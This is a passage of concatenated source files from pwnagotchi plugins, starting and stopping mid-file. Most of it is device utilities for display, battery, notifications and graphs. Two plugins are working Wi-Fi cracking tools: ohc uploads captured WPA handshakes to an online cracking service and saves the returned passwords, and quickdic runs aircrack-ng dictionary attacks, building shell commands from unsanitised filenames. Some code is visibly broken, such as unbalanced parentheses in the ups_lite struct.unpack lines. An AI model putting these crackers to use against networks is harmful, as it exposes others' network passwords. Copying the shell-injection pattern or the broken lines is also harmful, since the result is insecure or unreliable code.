16 | __license__ = 'GPL3' 17 | __description__ = 'This plugin automatically uploads handshakes to https://onlinehashcrack.com' 18 | __dependencies__ = { 19 | 'pip': ['requests'] 20 | } 21 | __defaults__ = { 22 | 'enabled': False, 23 | 'email': '', 24 | 'dashboard': '', 25 | 'single_files': False, 26 | 'whitelist': [], 27 | } 28 | 29 | def __init__(self): 30 | self.ready = False 31 | try: 32 | self.report = StatusFile('/root/.ohc_uploads', data_format='json') 33 | except JSONDecodeError: 34 | os.remove('/root/.ohc_uploads') 35 | self.report = StatusFile('/root/.ohc_uploads', data_format='json') 36 | self.skip = list() 37 | self.lock = Lock() 38 | self.shutdown = False 39 | 40 | def on_config_changed(self, config): 41 | with self.lock: 42 | self.options['whitelist'] = list(set(self.options['whitelist'] + config['main']['whitelist'])) 43 | 44 | def on_before_shutdown(self): 45 | self.shutdown = True 46 | 47 | def on_loaded(self): 48 | """ 49 | Gets called when the plugin gets loaded 50 | """ 51 | if not self.options['email']: 52 | logging.error("[ohc] Email isn't set. Can't upload to onlinehashcrack.com") 53 | return 54 | 55 | self.ready = True 56 | logging.info("[ohc] OnlineHashCrack plugin loaded.") 57 | 58 | def _upload_to_ohc(self, path, timeout=30): 59 | """ 60 | Uploads the file to onlinehashcrack.com 61 | """ 62 | with open(path, 'rb') as file_to_upload: 63 | data = {'email': self.options['email']} 64 | payload = {'file': file_to_upload} 65 | 66 | try: 67 | result = requests.post('https://api.onlinehashcrack.com', 68 | data=data, 69 | files=payload, 70 | timeout=timeout) 71 | if 'already been sent' in result.text: 72 | logging.debug(f"[ohc] {path} was already uploaded.") 73 | except requests.exceptions.RequestException as e: 74 | logging.debug(f"[ohc] Got an exception while uploading {path} -> {e}") 75 | raise e 76 | 77 | def _download_cracked(self, save_file, timeout=120): 78 | """ 79 | Downloads the cracked passwords and saves them 80 | 81 | returns the number of downloaded passwords 82 | """ 83 | try: 84 | s = requests.Session() 85 | s.get(self.options['dashboard'], timeout=timeout) 86 | result = s.get('https://www.onlinehashcrack.com/wpa-exportcsv', timeout=timeout) 87 | result.raise_for_status() 88 | with open(save_file, 'wb') as output_file: 89 | output_file.write(result.content) 90 | except requests.exceptions.RequestException as req_e: 91 | raise req_e 92 | except OSError as os_e: 93 | raise os_e 94 | 95 | def on_webhook(self, path, request): 96 | import requests 97 | from flask import redirect 98 | s = requests.Session() 99 | s.get('https://www.onlinehashcrack.com/dashboard') 100 | r = s.post('https://www.onlinehashcrack.com/dashboard', data={'emailTasks': self.options['email'], 'submit': ''}) 101 | return redirect(r.url, code=302) 102 | 103 | def on_internet_available(self, agent): 104 | """ 105 | Called in manual mode when there's internet connectivity 106 | """ 107 | 108 | if not self.ready or self.lock.locked() or self.shutdown: 109 | return 110 | 111 | with self.lock: 112 | display = agent.view() 113 | config = agent.config() 114 | reported = self.report.data_field_or('reported', default=list()) 115 | handshake_dir = config['bettercap']['handshakes'] 116 | handshake_filenames = os.listdir(handshake_dir) 117 | handshake_paths = [os.path.join(handshake_dir, filename) for filename in handshake_filenames if 118 | filename.endswith('.pcap')] 119 | # pull out whitelisted APs 120 | handshake_paths = remove_whitelisted(handshake_paths, self.options['whitelist']) 121 | handshake_new = set(handshake_paths) - set(reported) - set(self.skip) 122 | if handshake_new: 123 | logging.info("[ohc] Internet connectivity detected. Uploading new handshakes to onlinehashcrack.com") 124 | for idx, handshake in enumerate(handshake_new): 125 | if self.shutdown: 126 | return 127 | display.set('status', 128 | f"Uploading handshake to onlinehashcrack.com ({idx + 1}/{len(handshake_new)})") 129 | display.update(force=True) 130 | try: 131 | self._upload_to_ohc(handshake) 132 | if handshake not in reported: 133 | reported.append(handshake) 134 | self.report.update(data={'reported': reported}) 135 | logging.debug(f"[ohc] Successfully uploaded {handshake}") 136 | except requests.exceptions.RequestException as req_e: 137 | self.skip.append(handshake) 138 | logging.debug("[ohc] %s", req_e) 139 | continue 140 | except OSError as os_e: 141 | self.skip.append(handshake) 142 | logging.debug("[ohc] %s", os_e) 143 | continue 144 | if 'dashboard' in self.options and self.options['dashboard']: 145 | cracked_file = os.path.join(handshake_dir, 'onlinehashcrack.cracked') 146 | if os.path.exists(cracked_file): 147 | last_check = datetime.fromtimestamp(os.path.getmtime(cracked_file)) 148 | if last_check is not None and ((datetime.now() - last_check).seconds / (60 * 60)) < 1: 149 | return 150 | try: 151 | self._download_cracked(cracked_file) 152 | logging.info("[ohc] Downloaded cracked passwords.") 153 | except requests.exceptions.RequestException as req_e: 154 | logging.debug("[ohc] %s", req_e) 155 | except OSError as os_e: 156 | logging.debug("[ohc] %s", os_e) 157 | if 'single_files' in self.options and self.options['single_files']: 158 | with open(cracked_file, 'r') as cracked_list: 159 | for row in csv.DictReader(cracked_list): 160 | if row['password']: 161 | filename = re.sub(r'[^a-zA-Z0-9]', '', row['ESSID']) + '_' + row['BSSID'].replace(':', '') 162 | if os.path.exists(os.path.join(handshake_dir, filename + '.pcap')): 163 | with open(os.path.join(handshake_dir, filename + '.pcap.cracked'), 'w') as f: 164 | f.write(row['password']) 165 | -------------------------------------------------------------------------------- /paw-gps.py: -------------------------------------------------------------------------------- 1 | import logging 2 | import requests 3 | import pwnagotchi.plugins as plugins 4 | 5 | ''' 6 | You need an bluetooth connection to your android phone which is running PAW server with the GPS "hack" from Systemik and edited by shaynemk 7 | GUIDE HERE: https://community.pwnagotchi.ai/t/setting-up-paw-gps-on-android 8 | ''' 9 | 10 | 11 | class PawGPS(plugins.Plugin): 12 | __author__ = 'leont' 13 | __version__ = '2.0.0' 14 | __name__ = 'pawgps' 15 | __license__ = 'GPL3' 16 | __description__ = 'Saves GPS coordinates whenever an handshake is captured. The GPS data is get from PAW on android ' 17 | __defaults__ = { 18 | 'enabled': False, 19 | 'ip': '', 20 | } 21 | 22 | def on_loaded(self): 23 | logging.info('[paw-gps] plugin loaded') 24 | if 'ip' not in self.options or ('ip' in self.options and self.options['ip'] is None): 25 | logging.info('[paw-gps] No IP Address in the config file is defined, it uses the default (192.168.44.1:8080)') 26 | 27 | def on_handshake(self, agent, filename, access_point, client_station): 28 | ip = self.options['ip'] if self.options['ip'] else '192.168.44.1:8080' 29 | 30 | gps = requests.get('http://' + ip + '/gps.xhtml') 31 | gps_filename = filename.replace('.pcap', '.paw-gps.json') 32 | 33 | logging.info('[paw-gps] saving GPS to %s (%s)', gps_filename, gps) 34 | with open(gps_filename, 'w+t') as f: 35 | f.write(gps.text) 36 | -------------------------------------------------------------------------------- /quickdic.py: -------------------------------------------------------------------------------- 1 | from pwnagotchi import plugins 2 | import logging 3 | import subprocess 4 | import string 5 | import re 6 | 7 | ''' 8 | Aircrack-ng needed, to install: 9 | > apt-get install aircrack-ng 10 | Upload wordlist files in .txt format to folder in config file (Default: /opt/wordlists/) 11 | Cracked handshakes stored in handshake folder as [essid].pcap.cracked 12 | ''' 13 | 14 | 15 | class QuickDic(plugins.Plugin): 16 | __author__ = 'pwnagotchi [at] rossmarks [dot] uk' 17 | __version__ = '2.0.0' 18 | __license__ = 'GPL3' 19 | __description__ = 'Run a quick dictionary scan against captured handshakes' 20 | __dependencies__ = { 21 | 'apt': ['aircrack-ng'], 22 | } 23 | __defaults__ = { 24 | 'enabled': False, 25 | 'wordlist_folder': '/opt/wordlists/', 26 | 'face': '(·ω·)', 27 | } 28 | 29 | def __init__(self): 30 | self.text_to_set = "" 31 | 32 | def on_loaded(self): 33 | logging.info('[quickdic] plugin loaded') 34 | 35 | if 'face' not in self.options: 36 | self.options['face'] = '(·ω·)' 37 | 38 | check = subprocess.run( 39 | ('/usr/bin/dpkg -l aircrack-ng | grep aircrack-ng | awk \'{print $2, $3}\''), shell=True, stdout=subprocess.PIPE) 40 | check = check.stdout.decode('utf-8').strip() 41 | if check != "aircrack-ng ": 42 | logging.info('[quickdic] Found %s', check) 43 | else: 44 | logging.warning('[quickdic] aircrack-ng is not installed!') 45 | 46 | def on_handshake(self, agent, filename, access_point, client_station): 47 | display = agent.view() 48 | result = subprocess.run(('/usr/bin/aircrack-ng ' + filename + ' | grep "1 handshake" | awk \'{print $2}\''), 49 | shell=True, stdout=subprocess.PIPE) 50 | result = result.stdout.decode( 51 | 'utf-8').translate({ord(c): None for c in string.whitespace}) 52 | if not result: 53 | logging.info('[quickdic] No handshake') 54 | else: 55 | logging.info('[quickdic] Handshake confirmed') 56 | result2 = subprocess.run(('aircrack-ng -w `echo ' + self.options[ 57 | 'wordlist_folder'] + '*.txt | sed \'s/ /,/g\'` -l ' + filename + '.cracked -q -b ' + result + ' ' + filename + ' | grep KEY'), 58 | shell=True, stdout=subprocess.PIPE) 59 | result2 = result2.stdout.decode('utf-8').strip() 60 | logging.info('[quickdic] %s', result2) 61 | if result2 != "KEY NOT FOUND": 62 | key = re.search(r'\[(.*)\]', result2) 63 | pwd = str(key.group(1)) 64 | self.text_to_set = "Cracked password: " + pwd 65 | display.update(force=True) 66 | plugins.on('cracked', access_point, pwd) 67 | 68 | def on_ui_update(self, ui): 69 | if self.text_to_set: 70 | ui.set('face', self.options['face']) 71 | ui.set('status', self.text_to_set) 72 | self.text_to_set = "" 73 | -------------------------------------------------------------------------------- /screen_refresh.py: -------------------------------------------------------------------------------- 1 | from pwnagotchi import plugins 2 | import logging 3 | 4 | 5 | class ScreenRefresh(plugins.Plugin): 6 | __author__ = 'pwnagotchi [at] rossmarks [dot] uk' 7 | __version__ = '2.0.0' 8 | __license__ = 'GPL3' 9 | __description__ = 'Refresh he e-ink display after X amount of updates' 10 | __defaults__ = { 11 | 'enabled': False, 12 | 'refresh_interval': 50, 13 | } 14 | 15 | def __init__(self): 16 | self.update_count = 0 17 | 18 | def on_loaded(self): 19 | logging.info('[screenrefresh] Screen refresh plugin loaded') 20 | 21 | def on_ui_update(self, ui): 22 | self.update_count += 1 23 | if self.update_count == self.options['refresh_interval']: 24 | ui.init_display() 25 | ui.set('status', "Screen cleaned") 26 | logging.info('[screenrefresh] Screen refreshing') 27 | self.update_count = 0 28 | -------------------------------------------------------------------------------- /switcher.py: -------------------------------------------------------------------------------- 1 | import os 2 | import logging 3 | from threading import Lock 4 | from functools import partial 5 | from pwnagotchi import plugins 6 | from pwnagotchi import reboot 7 | 8 | 9 | def systemd_dropin(name, content): 10 | if not name.endswith('.service'): 11 | name = '%s.service' % name 12 | 13 | dropin_dir = "/etc/systemd/system/%s.d/" % name 14 | os.makedirs(dropin_dir, exist_ok=True) 15 | 16 | with open(os.path.join(dropin_dir, "switcher.conf"), "wt") as dropin: 17 | dropin.write(content) 18 | 19 | systemctl("daemon-reload") 20 | 21 | 22 | def systemctl(command, unit=None): 23 | if unit: 24 | os.system("/bin/systemctl %s %s" % (command, unit)) 25 | else: 26 | os.system("/bin/systemctl %s" % command) 27 | 28 | 29 | def run_task(name, options): 30 | task_service_name = "switcher-%s-task.service" % name 31 | # save all the commands to a shell script 32 | script_dir = '/usr/local/bin/' 33 | script_path = os.path.join(script_dir, 'switcher-%s.sh' % name) 34 | os.makedirs(script_dir, exist_ok=True) 35 | 36 | with open(script_path, 'wt') as script_file: 37 | script_file.write('#!/bin/bash\n') 38 | for cmd in options['commands']: 39 | script_file.write('%s\n' % cmd) 40 | 41 | os.system("chmod a+x %s" % script_path) 42 | 43 | # here we create the service which runs the tasks 44 | with open('/etc/systemd/system/%s' % task_service_name, 'wt') as task_service: 45 | task_service.write(""" 46 | [Unit] 47 | Description=Executes the tasks of the pwnagotchi switcher plugin 48 | After=pwnagotchi.service bettercap.service 49 | 50 | [Service] 51 | Type=oneshot 52 | RemainAfterExit=yes 53 | ExecStart=-/usr/local/bin/switcher-%s.sh 54 | ExecStart=-/bin/rm /etc/systemd/system/%s 55 | ExecStart=-/bin/rm /usr/local/bin/switcher-%s.sh 56 | 57 | [Install] 58 | WantedBy=multi-user.target 59 | """ % (name, task_service_name, name)) 60 | 61 | if 'reboot' in options and options['reboot']: 62 | # create a indication file! 63 | # if this file is set, we want the switcher-tasks to run 64 | open('/root/.switcher', 'a').close() 65 | 66 | # add condition 67 | systemd_dropin("pwnagotchi.service", """ 68 | [Unit] 69 | ConditionPathExists=!/root/.switcher""") 70 | 71 | systemd_dropin("bettercap.service", """ 72 | [Unit] 73 | ConditionPathExists=!/root/.switcher""") 74 | 75 | systemd_dropin(task_service_name, """ 76 | [Service] 77 | ExecStart=-/bin/rm /root/.switcher 78 | ExecStart=-/bin/rm /etc/systemd/system/switcher-reboot.timer""") 79 | 80 | with open('/etc/systemd/system/switcher-reboot.timer', 'wt') as reboot_timer: 81 | reboot_timer.write(""" 82 | [Unit] 83 | Description=Reboot when time is up 84 | ConditionPathExists=/root/.switcher 85 | 86 | [Timer] 87 | OnBootSec=%sm 88 | Unit=reboot.target 89 | 90 | [Install] 91 | WantedBy=timers.target 92 | """ % options['stopwatch']) 93 | 94 | systemctl("daemon-reload") 95 | systemctl("enable", "switcher-reboot.timer") 96 | systemctl("enable", task_service_name) 97 | reboot() 98 | return 99 | 100 | systemctl("daemon-reload") 101 | systemctl("start", task_service_name) 102 | 103 | 104 | class Switcher(plugins.Plugin): 105 | __author__ = '33197631+dadav@users.noreply.github.com' 106 | __version__ = '1.0.0' 107 | __name__ = 'switcher' 108 | __license__ = 'GPL3' 109 | __description__ = 'This plugin is a generic task scheduler.' 110 | __defaults__ = { 111 | 'enabled': False, 112 | 'tasks': {}, 113 | } 114 | 115 | def __init__(self): 116 | self.ready = False 117 | self.lock = Lock() 118 | 119 | def trigger(self, name, *args, **kwargs): 120 | with self.lock: 121 | function_name = name.lstrip('on_') 122 | if function_name in self.tasks: 123 | task = self.tasks[function_name] 124 | 125 | # is this task enabled? 126 | if 'enabled' not in task or ('enabled' in task and not task['enabled']): 127 | return 128 | 129 | run_task(function_name, task) 130 | 131 | def on_loaded(self): 132 | if not self.options['tasks']: 133 | logging.debug('[switcher] No tasks found...') 134 | return 135 | 136 | logging.info("[switcher] plugin is loaded.") 137 | 138 | # create hooks 139 | logging.debug("[switcher] creating hooks...") 140 | methods = ['webhook', 'internet_available', 'ui_setup', 'ui_update', 141 | 'unload', 'display_setup', 'ready', 'ai_ready', 'ai_policy', 142 | 'ai_training_start', 'ai_training_step', 'ai_training_end', 143 | 'ai_best_reward', 'ai_worst_reward', 'free_channel', 144 | 'bored', 'sad', 'excited', 'lonely', 'rebooting', 'wait', 145 | 'sleep', 'wifi_update', 'unfiltered_ap_list', 'association', 146 | 'deauthentication', 'channel_hop', 'handshake', 'epoch', 147 | 'config_changed'] 148 | 149 | for m in methods: 150 | setattr(Switcher, 'on_%s' % m, partial(self.trigger, m)) 151 | 152 | logging.debug("[switcher] triggers are ready to fire...") 153 | -------------------------------------------------------------------------------- /telegram.py: -------------------------------------------------------------------------------- 1 | from pwnagotchi import plugins 2 | from pwnagotchi.voice import Voice 3 | import logging 4 | 5 | 6 | class Telegram(plugins.Plugin): 7 | __author__ = 'djerfy@gmail.com' 8 | __version__ = '2.0.0' 9 | __license__ = 'GPL3' 10 | __description__ = 'Periodically sent messages to Telegram about the recent activity of pwnagotchi' 11 | __dependencies__ = { 12 | 'pip': ['python-telegram-bot'], 13 | } 14 | __defaults__ = { 15 | 'enabled': False, 16 | 'bot_token': None, 17 | 'bot_name': 'pwnagotchi', 18 | 'chat_id': None, 19 | 'send_picture': True, 20 | 'send_message': True, 21 | } 22 | 23 | def on_loaded(self): 24 | logging.info('[telegram] plugin loaded.') 25 | 26 | # called when there's available internet 27 | def on_internet_available(self, agent): 28 | config = agent.config() 29 | display = agent.view() 30 | last_session = agent.last_session 31 | 32 | if last_session.is_new() and last_session.handshakes > 0: 33 | 34 | try: 35 | import telegram 36 | except ImportError: 37 | logging.error('[telegram] Couldn\'t import telegram') 38 | return 39 | 40 | logging.info('[telegram] Detected new activity and internet, time to send a message!') 41 | 42 | picture = '/root/pwnagotchi.png' 43 | display.on_manual_mode(last_session) 44 | display.image().save(picture, 'png') 45 | display.update(force=True) 46 | 47 | try: 48 | logging.info('[telegram] Connecting to Telegram...') 49 | 50 | message = Voice(lang=config['main']['lang']).on_last_session_tweet(last_session) 51 | 52 | bot = telegram.Bot(self.options['bot_token']) 53 | if self.options['send_picture'] is True: 54 | bot.sendPhoto(chat_id=self.options['chat_id'], photo=open(picture, 'rb')) 55 | logging.info('[telegram] picture sent') 56 | if self.options['send_message'] is True: 57 | bot.sendMessage(chat_id=self.options['chat_id'], text=message, disable_web_page_preview=True) 58 | logging.info('[telegram] message sent: %s', message) 59 | 60 | last_session.save_session_id() 61 | display.set('status', 'Telegram notification sent!') 62 | display.update(force=True) 63 | except Exception as ex: 64 | logging.exception('[telegram] Error while sending on Telegram: %s', ex) 65 | -------------------------------------------------------------------------------- /twitter.py: -------------------------------------------------------------------------------- 1 | import logging 2 | from pwnagotchi.voice import Voice 3 | from pwnagotchi import plugins 4 | 5 | 6 | class Twitter(plugins.Plugin): 7 | __author__ = 'evilsocket@gmail.com' 8 | __version__ = '2.0.1' 9 | __license__ = 'GPL3' 10 | __description__ = 'This plugin creates tweets about the recent activity of pwnagotchi' 11 | __dependencies__ = { 12 | 'pip': ['tweepy'] 13 | } 14 | __defaults__ = { 15 | 'enabled': False, 16 | 'consumer_key': None, 17 | 'consumer_secret': None, 18 | 'access_token_key': None, 19 | 'access_token_secret': None, 20 | } 21 | 22 | def on_loaded(self): 23 | logging.info('[twitter] plugin loaded.') 24 | 25 | # called in manual mode when there's internet connectivity 26 | def on_internet_available(self, agent): 27 | config = agent.config() 28 | display = agent.view() 29 | last_session = agent.last_session 30 | 31 | if last_session.is_new() and last_session.handshakes > 0: 32 | try: 33 | import tweepy 34 | except ImportError as ie: 35 | logging.error('[twitter] Couldn\'t import tweepy (%s)', ie) 36 | return 37 | 38 | logging.info('[twitter] detected a new session and internet connectivity!') 39 | 40 | picture = '/root/pwnagotchi.png' 41 | 42 | display.on_manual_mode(last_session) 43 | with display.block_update(force=True): 44 | display.image().save(picture, 'png') 45 | display.set('status', 'Tweeting...') 46 | display.update(force=True) 47 | 48 | try: 49 | auth = tweepy.OAuthHandler(self.options['consumer_key'], self.options['consumer_secret']) 50 | auth.set_access_token(self.options['access_token_key'], self.options['access_token_secret']) 51 | api = tweepy.API(auth) 52 | 53 | tweet = Voice(lang=config['main']['lang']).on_last_session_tweet(last_session) 54 | api.update_with_media(filename=picture, status=tweet) 55 | last_session.save_session_id() 56 | 57 | logging.info('[twitter] tweeted: %s', tweet) 58 | except Exception as e: 59 | logging.exception('[twitter] error while tweeting (%s)', e) 60 | -------------------------------------------------------------------------------- /ups_lite.py: -------------------------------------------------------------------------------- 1 | # Based on UPS Lite v1.1 from https://github.com/xenDE 2 | # 3 | # functions for get UPS status - needs enable "i2c" in raspi-config 4 | # 5 | # https://github.com/linshuqin329/UPS-Lite 6 | # 7 | # For Raspberry Pi Zero Ups Power Expansion Board with Integrated Serial Port S3U4 8 | # https://www.ebay.de/itm/For-Raspberry-Pi-Zero-Ups-Power-Expansion-Board-with-Integrated-Serial-Port-S3U4/323873804310 9 | # https://www.aliexpress.com/item/32888533624.html 10 | import logging 11 | import struct 12 | 13 | from pwnagotchi.ui.components import LabeledValue 14 | from pwnagotchi.ui.view import BLACK 15 | from pwnagotchi.ui import fonts 16 | from pwnagotchi import plugins 17 | import pwnagotchi 18 | 19 | 20 | class UPS: 21 | def __init__(self): 22 | # only import when the module is loaded and enabled 23 | import smbus 24 | # 0 = /dev/i2c-0 (port I2C0), 1 = /dev/i2c-1 (port I2C1) 25 | self._bus = smbus.SMBus(1) 26 | 27 | def voltage(self): 28 | try: 29 | address = 0x36 30 | read = self._bus.read_word_data(address, 2) 31 | swapped = struct.unpack("H", read))[0] 32 | return swapped * 1.25 / 1000 / 16 33 | except Exception as ex: 34 | logging.error('[upslite] %s', ex) 35 | return 0.0 36 | 37 | def capacity(self): 38 | try: 39 | address = 0x36 40 | read = self._bus.read_word_data(address, 4) 41 | swapped = struct.unpack("H", read))[0] 42 | return swapped / 256 43 | except Exception as ex: 44 | logging.error('[upslite] %s', ex) 45 | return 0.0 46 | 47 | 48 | class UPSLite(plugins.Plugin): 49 | __author__ = 'evilsocket@gmail.com' 50 | __version__ = '2.0.0' 51 | __license__ = 'GPL3' 52 | __description__ = 'A plugin that will add a voltage indicator for the UPS Lite v1.1' 53 | __defaults__ = { 54 | 'enabled': False, 55 | } 56 | 57 | def __init__(self): 58 | self.ups = None 59 | 60 | def on_loaded(self): 61 | self.ups = UPS() 62 | 63 | def on_ui_setup(self, ui): 64 | ui.add_element('ups', LabeledValue(color=BLACK, label='UPS', value='0%/0V', position=(ui.width() / 2 + 15, 0), 65 | label_font=fonts.Bold, text_font=fonts.Medium)) 66 | 67 | def on_unload(self, ui): 68 | with ui._lock: 69 | ui.remove_element('ups') 70 | 71 | def on_ui_update(self, ui): 72 | capacity = self.ups.capacity() 73 | ui.set('ups', "%2i%%" % capacity) 74 | if capacity <= self.options['shutdown']: 75 | logging.info('[upslite] Empty battery (<= %s%%): shuting down' % self.options['shutdown']) 76 | ui.update(force=True, new_data={'status': 'Battery exhausted, bye ...'}) 77 | pwnagotchi.shutdown() 78 | -------------------------------------------------------------------------------- /viz.py: -------------------------------------------------------------------------------- 1 | import logging 2 | import json 3 | import plotly 4 | import plotly.graph_objects as go 5 | import random 6 | from functools import lru_cache 7 | from math import pi, cos, sin 8 | from pwnagotchi import plugins 9 | from flask import render_template_string, abort, jsonify 10 | from threading import Lock 11 | from pwnagotchi.wifi import freq_to_channel 12 | 13 | 14 | TEMPLATE = """ 15 | {% extends "base.html" %} 16 | 17 | {% set active_page = "plugins" %} 18 | 19 | {% block title %} 20 | Viz 21 | {% endblock %} 22 | 23 | {% block scripts %} 24 | {{ super() }} 25 | 26 | {% endblock %} 27 | 28 | {% block script %} 29 | $(document).ready(function(){ 30 | var hasData = false; 31 | var ajaxDataRenderer = function(url, plot, options) { 32 | var ret = null; 33 | 34 | $.ajax({ 35 | async: false, 36 | url: url, 37 | dataType:"json", 38 | success: function(data) { 39 | ret = JSON.parse(data); 40 | } 41 | }); 42 | return ret; 43 | }; 44 | 45 | function loadGraphData() { 46 | var layout = { 47 | title: 'Viz Map', 48 | hovermode: 'closest', 49 | showlegend: false, 50 | xaxis: { 51 | title: { 52 | text: 'Signal', 53 | }, 54 | }, 55 | yaxis: { 56 | title: { 57 | text: 'Channel', 58 | }, 59 | tickmode: 'linear', 60 | tick0: 1, 61 | dtick: 1 62 | } 63 | }; 64 | var result = ajaxDataRenderer('/plugins/viz/update'); 65 | if (Array.isArray(result) && Object.keys(result).length > 0) { 66 | if (hasData == false) { 67 | $('#plot').text(''); 68 | Plotly.newPlot('plot', result, layout); 69 | hasData = true; 70 | } else { 71 | Plotly.animate('plot', { 72 | data: result, 73 | layout: layout 74 | }, { 75 | transition: { 76 | duration: 1000, 77 | easing: 'cubic-in-out' 78 | }, 79 | frame: { 80 | duration: 1000 81 | } 82 | }) 83 | } 84 | } 85 | } 86 | loadGraphData(); 87 | setInterval(loadGraphData, 5000); 88 | }); 89 | {% endblock %} 90 | 91 | {% block content %} 92 |
93 | Waiting for data... 94 |
95 | {% endblock %} 96 | """ 97 | 98 | 99 | class Viz(plugins.Plugin): 100 | __author__ = '33197631+dadav@users.noreply.github.com' 101 | __version__ = "1.0.1" 102 | __license__ = "GPL3" 103 | __description__ = "This plugin visualizes the surrounding APs" 104 | __dependencies__ = { 105 | 'pip': ['plotly', 'pandas', 'flask'] 106 | } 107 | __defaults__ = { 108 | 'enabled': False, 109 | } 110 | 111 | COLORS = ["aliceblue", "aqua", "aquamarine", "azure", 112 | "beige", "bisque", "black", "blanchedalmond", "blue", 113 | "blueviolet", "brown", "burlywood", "cadetblue", 114 | "chartreuse", "chocolate", "coral", "cornflowerblue", 115 | "cornsilk", "crimson", "cyan", "darkblue", "darkcyan", 116 | "darkgoldenrod", "darkgray", "darkgrey", "darkgreen", 117 | "darkkhaki", "darkmagenta", "darkolivegreen", "darkorange", 118 | "darkorchid", "darkred", "darksalmon", "darkseagreen", 119 | "darkslateblue", "darkslategray", "darkslategrey", 120 | "darkturquoise", "darkviolet", "deeppink", "deepskyblue", 121 | "dimgray", "dimgrey", "dodgerblue", "firebrick", 122 | "forestgreen", "fuchsia", "gainsboro", 123 | "gold", "goldenrod", "gray", "grey", "green", 124 | "greenyellow", "honeydew", "hotpink", "indianred", "indigo", 125 | "ivory", "khaki", "lavender", "lavenderblush", "lawngreen", 126 | "lemonchiffon", "lightblue", "lightcoral", "lightcyan", 127 | "lightgoldenrodyellow", "lightgray", "lightgrey", 128 | "lightgreen", "lightpink", "lightsalmon", "lightseagreen", 129 | "lightskyblue", "lightslategray", "lightslategrey", 130 | "lightsteelblue", "lightyellow", "lime", "limegreen", 131 | "linen", "magenta", "maroon", "mediumaquamarine", 132 | "mediumblue", "mediumorchid", "mediumpurple", 133 | "mediumseagreen", "mediumslateblue", "mediumspringgreen", 134 | "mediumturquoise", "mediumvioletred", "midnightblue", 135 | "mintcream", "mistyrose", "moccasin", "navy", 136 | "oldlace", "olive", "olivedrab", "orange", "orangered", 137 | "orchid", "palegoldenrod", "palegreen", "paleturquoise", 138 | "palevioletred", "papayawhip", "peachpuff", "peru", "pink", 139 | "plum", "powderblue", "purple", "red", "rosybrown", 140 | "royalblue", "rebeccapurple", "saddlebrown", "salmon", 141 | "sandybrown", "seagreen", "seashell", "sienna", "silver", 142 | "skyblue", "slateblue", "slategray", "slategrey", "snow", 143 | "springgreen", "steelblue", "tan", "teal", "thistle", "tomato", 144 | "turquoise", "violet", "wheat", 145 | "yellow", "yellowgreen"] 146 | COLOR_MEMORY = dict() 147 | 148 | def __init__(self): 149 | self.options = dict() 150 | self.data = None 151 | self.lock = Lock() 152 | 153 | def on_loaded(self): 154 | logging.info("[viz] plugin is loaded!") 155 | 156 | @staticmethod 157 | def lookup_color(node): 158 | random.seed(node) 159 | if node not in Viz.COLOR_MEMORY: 160 | Viz.COLOR_MEMORY[node] = random.choice(Viz.COLORS) 161 | return Viz.COLOR_MEMORY[node] 162 | 163 | @staticmethod 164 | def random_pos(name, x0, y0, r): 165 | random.seed(name) 166 | t = 2 * pi * random.random() 167 | x = r * cos(t) 168 | y = r * sin(t) 169 | return x + x0, y + y0 170 | 171 | @staticmethod 172 | @lru_cache(maxsize=13) 173 | def create_graph(data, channel=None): 174 | if not data: 175 | return '{}' 176 | 177 | data = json.loads(data) 178 | 179 | node_text = list() 180 | edge_x = list() 181 | edge_y = list() 182 | node_x = list() 183 | node_y = list() 184 | node_symbols = list() 185 | node_sizes = list() 186 | node_colors = list() 187 | 188 | for ap_data in data: 189 | name = ap_data['hostname'] or ap_data['vendor'] or ap_data['mac'] 190 | color = Viz.lookup_color(name) 191 | # nodes 192 | x, y = abs(ap_data['rssi']), freq_to_channel(ap_data['frequency']) 193 | node_x.append(x) 194 | node_y.append(y) 195 | node_text.append(name) 196 | node_symbols.append('square') 197 | node_sizes.append(15 + len(ap_data['clients']) * 3) 198 | node_colors.append(color) 199 | 200 | for c in ap_data['clients']: 201 | # node 202 | cname = c['hostname'] or c['vendor'] or c['mac'] 203 | xx, yy = Viz.random_pos(cname, x, y, 3) 204 | node_x.append(xx) 205 | node_y.append(yy) 206 | node_text.append(cname) 207 | node_symbols.append('circle') 208 | node_sizes.append(10) 209 | node_colors.append(color) 210 | 211 | # edge 212 | edge_x.append(x) 213 | edge_x.append(xx) 214 | edge_x.append(None) 215 | edge_y.append(y) 216 | edge_y.append(yy) 217 | edge_y.append(None) 218 | 219 | edge_trace = go.Scatter( 220 | x=edge_x, y=edge_y, 221 | line=dict(width=1, color='#888'), 222 | hoverinfo='none', 223 | mode='lines') 224 | 225 | node_trace = go.Scatter( 226 | x=node_x, y=node_y, 227 | mode='markers', 228 | marker=dict( 229 | size=node_sizes, 230 | color=node_colors, 231 | symbol=node_symbols, 232 | ), 233 | hovertext=node_text, 234 | hoverinfo='text') 235 | 236 | channel_line = go.Scatter( 237 | mode='lines', 238 | line=dict(width=15, color='#ff0000'), 239 | x=[min(node_x) - 5, max(node_x) + 5], 240 | y=[channel, channel], 241 | opacity=0.25, 242 | hoverinfo='none', 243 | ) if channel else dict() 244 | 245 | return json.dumps((channel_line, edge_trace, node_trace), 246 | cls=plotly.utils.PlotlyJSONEncoder) 247 | 248 | def on_unfiltered_ap_list(self, agent, data): 249 | with self.lock: 250 | data = sorted(data, key=lambda k: k['mac']) 251 | self.data = json.dumps(data) 252 | 253 | def on_channel_hop(self, agent, channel): 254 | with self.lock: 255 | self.channel = channel 256 | 257 | def on_webhook(self, path, request): 258 | if not path or path == "/": 259 | return render_template_string(TEMPLATE) 260 | 261 | if path == 'update': 262 | with self.lock: 263 | g = Viz.create_graph(self.data, self.channel) 264 | return jsonify(g) 265 | 266 | abort(404) 267 | -------------------------------------------------------------------------------- /watchdog.py: -------------------------------------------------------------------------------- 1 | import os 2 | import logging 3 | import re 4 | import subprocess 5 | from io import TextIOWrapper 6 | from pwnagotchi import plugins 7 | from pwnagotchi.utils import StatusFile 8 | 9 | 10 | class Watchdog(plugins.Plugin): 11 | __author__ = '33197631+dadav@users.noreply.github.com' 12 | __version__ = '1.0.0' 13 | __license__ = 'GPL3' 14 | __description__ = 'Restart pwnagotchi when blindbug is detected.' 15 | __defaults__ = { 16 | 'enabled': False, 17 | } 18 | 19 | def __init__(self): 20 | self.options = dict() 21 | self.pattern = re.compile(r'brcmf_cfg80211_nexmon_set_channel.*?Set Channel failed') 22 | self.status = StatusFile('/root/.pwnagotchi-watchdog') 23 | self.status.update() 24 | 25 | def on_loaded(self): 26 | """ 27 | Gets called when the plugin gets loaded 28 | """ 29 | logging.info("Watchdog plugin loaded.") 30 | 31 | def on_epoch(self, agent, epoch, epoch_data): 32 | if 